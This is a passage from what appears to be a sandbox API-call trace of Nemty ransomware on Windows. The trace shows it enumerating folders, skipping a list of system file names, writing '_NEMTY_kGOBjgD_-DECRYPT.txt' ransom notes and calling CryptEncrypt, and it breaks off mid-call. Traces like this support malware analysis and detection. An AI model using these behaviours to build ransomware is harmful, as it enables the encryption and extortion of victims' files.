RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Internet Explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Internet Explorer", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Internet Explorer", lpUsedDefaultChar=0x0) returned 17 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Internet Explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Internet Explorer", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Internet Explorer", lpUsedDefaultChar=0x0) returned 17 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0098.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0098.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0098.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0098.097] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0098.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0098.097] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.097] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0098.098] CloseHandle (hObject=0x3c0) returned 1 [0098.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0098.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0098.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0098.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0098.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0098.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0098.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0098.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0098.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0098.099] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0098.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0098.100] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.100] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0098.100] CloseHandle (hObject=0x3c0) returned 1 [0098.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0098.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0098.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0098.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0098.101] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.101] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0098.101] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.101] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.101] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0098.101] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0098.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0098.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0098.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0098.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0098.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0098.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0098.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0098.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0098.102] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0098.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0098.104] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.104] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0098.105] CloseHandle (hObject=0x3c4) returned 1 [0098.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0098.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0098.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0098.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0098.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0098.105] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0098.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0098.106] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.106] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0098.107] CloseHandle (hObject=0x3c4) returned 1 [0098.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0098.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0098.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0098.107] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1d0ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0098.107] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.107] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="...") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="windows") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="rsa") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="NTDETECT.COM") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ntldr") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="MSDOS.SYS") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="IO.SYS") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="boot.ini") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="boot.ini") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ntuser.dat") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="desktop.ini") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="CONFIG.SYS") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="RECYCLER") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="bootmgr") returned 1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="programdata") returned -1 [0098.108] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="appdata") returned 1 [0098.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0098.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0098.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0098.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0098.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hmmapi.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0098.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94228 [0098.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942a0 [0098.109] Sleep (dwMilliseconds=0x5) [0098.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee21cd70, dwHighDateTime=0x1d561e7)) [0098.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee21cd70, dwHighDateTime=0x1d561e7)) [0098.122] GetLastError () returned 0xb7 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.122] GetLastError () returned 0xb7 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, 